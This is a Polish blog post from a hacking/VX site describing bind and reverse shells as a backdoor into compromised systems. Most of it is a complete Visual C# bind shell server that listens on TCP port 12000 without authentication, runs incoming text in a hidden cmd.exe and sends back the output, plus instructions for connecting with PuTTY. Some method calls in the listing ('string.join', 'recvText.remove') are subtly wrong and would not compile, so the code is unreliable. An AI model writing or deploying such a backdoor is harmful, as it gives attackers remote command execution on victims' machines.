vx7.pl - hacking / coding / vx | Poland |

 Tylne wejście do systemu — bind & reverse shell

Napisane  21 lipca 2018 godz. 06:17 przez  Dawid_vx7

1. Powłoka systemu (ang. shell) — informacje ogólne

„Mam dostęp do shella!” — krzyknął niejeden haker. Powłoka systemowa pozwala użytkownikowi wykonywać różne operacje na systemie operacyjnym. Może to być interpreter poleceń działający w trybie tekstowym lub powłoka graficzna (okienka). Haker próbując przejąć system, który ma na celowniku często stara się uzyskać dostęp do powłoki, przeważnie tej w trybie tekstowym. Jeśli może wykonywać dowolne polecenia linii komend na danym systemie, to znaczy, że maszyna została przejęta i jest pod jego kontrolą.

Pojęcie shell jest nieco ogólne. Wgranie skryptu PHP na przejęty serwer określonej strony WWW pozwala np. zarządzać plikami jakie się znajdują na nim. Atakujący może wysłać na taki serwer złośliwe oprogramowanie lub po prostu dokonać deface, czyli podmienić stronę główną umieszczając znany tekst: „HACKED BY ...”.

Atak za pomocą aplikacji typu exploit, która ma za zadanie wykorzystać błąd bezpieczeństwa w systemie lub określonej aplikacji, uznaje się za udany, jeśli możliwe jest wykonywanie dowolnych poleceń lub kodu na systemie ofiary.

2. Bind shell & Reverse shell

W przypadku aplikacji typu shell można wyróżnic dwa rodzaje połączenia: bezpośrednie i odwrotne. (Chodzi o programy, które udostępniają interpreter poleceń przejętego systemu przez gniazdo TCP, nie o shell wgrywany w formie skryptu PHP na hosting, aby zarządzać plikami na nim.)

Aplikacja typu shell określana jako bind shell działa w architekturze klient-serwer. Komputer atakującego jest klientem i poprzez podanie adresu IP oraz portu łączy się z aplikacją serwera na komputerze ofiary. Atakujący musi znać adres IP maszyny ofiary. Jeśli atakowany komputer nie ma prywatnego, zewnętrznego adresu IP lub przekierowanego portu, to połączenie bezpośrednie z nim nie będzie możliwe. Jako przykład można podać typową sieć lokalną np. w domu o topologii gwiazdy. W takiej sieci do jednego punktu dostępu (ang. Access Point) podłączone może być wiele urządzeń (komputer, tablet, smartfon itd.). Wszystkie te urządzenia w sieci internet przedstawiają się tym samym, zewnętrznym adresem IP. Urządzenia wewnątrz takiej sieci lokalnej mogą się łączyć ze sobą bezpośrednio, ale dostęp z zewnątrz (z internetu) do określonego urządzenia nie jest możliwy (bez przekierowania portu).

bind shell
Rysunek 2.1. Bind shell — schemat ogólny

Rozwiązaniem problemu połączenia się z urządzeniem ukrytym za punktem dostępu (ang. Access Point) bez przekierowania portów jest zastosowanie połączenia odwrotnego (ang. reverse connection). Wtedy to komputer atakującego jest serwerem, z którym łączą się klienci. Haker nie musi znać adresów IP klientów i martwić się czy są za routerem czy nie oraz czy mają przekierowane porty.

reverse shell
Rysunek 2.2. Reverse shell — schemat ogólny

3. Przykładowa implementacja Bind shell w Visual C#

Na listingu 3.1. poniżej przedstawiono przykładową implementację aplikacji serwera typu bind shell. Jest to aplikacja konsolowa, która uruchamia wątek nasłuchujący na połączenie od klienta oraz wykonuje przesłane polecenia poprzez uruchomienie procesu Wiersza polecenia (cmd.exe). Koniec polecenia oznaczono umownym ciągiem <EOF>.

Listing 3.1. Implementacja serwera aplikacji typu Bind shell w Visual C#

using System;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace BindShellServer
{
class Program
{
//katalog roboczy
static string currentDir = Environment.SystemDirectory;
//znak nowej linii
static string endl = Environment.NewLine;

//metoda uruchamiająca polecenie cmd.exe
static string RunCommand(string cmd)
{
string cmdOutput = string.Empty;

//utwórz i zainicjalizuj obiekt klasy ProcessStartInfo
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe");
startInfo.RedirectStandardInput = startInfo.RedirectStandardOutput = true;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = false;
startInfo.WorkingDirectory = currentDir;

//utwórz proces cmd.exe
Process cmdProc = new Process();
cmdProc.StartInfo = startInfo;
cmdProc.Start();

//wpisz na standardowe wejście procesu polecenie
cmdProc.StandardInput.WriteLine(cmd);
cmdProc.StandardInput.Flush();
cmdProc.StandardInput.Close();

//odczytaj tekst ze standardowego wyjścia procesu (rezultat polecenia)
cmdOutput = cmdProc.StandardOutput.ReadToEnd();

//zaktualizuj katalog roboczy
currentDir = cmdOutput.Split('\n').Last().TrimEnd('>');

//zwróć rezultat polecenia
return string.join(endl, cmdOutput.Split('\n').Skip(3)) + endl;
}

static void Listen()
{
//utwórz gniazdo nasłuchujące
Socket Listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

//utwórz lokalny punkt końcowy
IPEndPoint LocalEndPoint = new IPEndPoint(IPAddress.Any, 12000);
Listener.Bind(LocalEndPoint);
Listener.Listen(10);

while (true)
{
try
{
//czekaj na połączenie od klienta
Socket Handler = Listener.Accept();
Console.WriteLine("Nawiązano połączenie z klientem.");

int bytesCount = 0;
string recvText = string.Empty;
byte[] recvData;

recvData = new byte[512];

//odbierz dane z gniazda
bytesCount = Handler.Receive(recvData);
Console.WriteLine("Odebrano " + bytesCount.ToString() + " bajtów.");

//zamień dane w postaci bajtów na napis (string)
recvText += Encoding.ASCII.GetString(recvData, 0, bytesCount);

if (recvText.IndexOf("<EOF>") > -1)
{
string output = string.Empty;
string command = recvText.remove(recvText.LastIndexOf("<EOF>"));

//uruchom polecenie cmd.exe odebrane przez gniazdo
output = RunCommand(command);
Console.WriteLine("Wykonano polecenie " + command + ".");

//wyślij odpowiedź (rezultat polecenia)
Handler.Send(Encoding.ASCII.GetBytes(output));
Console.WriteLine("Wysłano odpowiedź.");
}
}
catch (SocketException ex)
{
Console.WriteLine(ex.ToString());
}
}
}

static void Main(string[] args)
{
//utwórz i uruchom wątek serwera
Thread serverThread = new Thread(new ThreadStart(Listen));
serverThread.Start();
}
}
}



W celu połączenia się z przykładowym serwerem z listingu 3.1. wyżej można użyć klienta PuTTy dla Windows. Należy wpisać adres IP komputera (w tym przypadku jest to host lokalny o adresie 127.0.0.1), wpisać numer portu oraz wybrać rodzaj połączenia jako Raw (z ang. surowy).

bind shell csharp
Rysunek 3.1. Aplikacja serwera Bind shell z podłączonym klientem PuTTY

4. Zakończenie

Aplikacje lub ogólnie kod dający dostęp do powłoki systemowej jest tworzony w różnych językach i technologiach. Może to być jak w tym artykule program konsolowy, a może być to kod maszynowy, który zostanie uruchomiony w pamięci np. przez exploit.

Tagi:  hacking  VX 


Wszystkie treści, kody źródłowe i programy umieszczone na portalu vx7.pl są chronione prawem autorskim. Surowo zabronione jest kopiowanie i rozpowszechnianie zawartości tej witryny bez zgody autora. Wszelkie materiały opublikowane na portalu vx7.pl służą jedynie celom edukacyjnym. Autorzy portalu vx7.pl i materiałów umieszczanych na nim nie biorą odpowiedzialności za niewłaściwe wykorzystanie udostępnionych zasobów. Nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania zasobów zawartych w witrynie. Osoby zarządzające portalem vx7.pl zastrzegają sobie prawo do usunięcia wpisów opublikowanych przez użytkowników bez podania przyczyny. Wszelkie znaki towarowe i nazwy zastrzeżone zostały użyte jedynie w celach informacyjnych i należą wyłącznie do ich prawnych właścicieli. Korzystając z zasobów portalu vx7.pl oświadczasz, że akceptujesz powyższe warunki.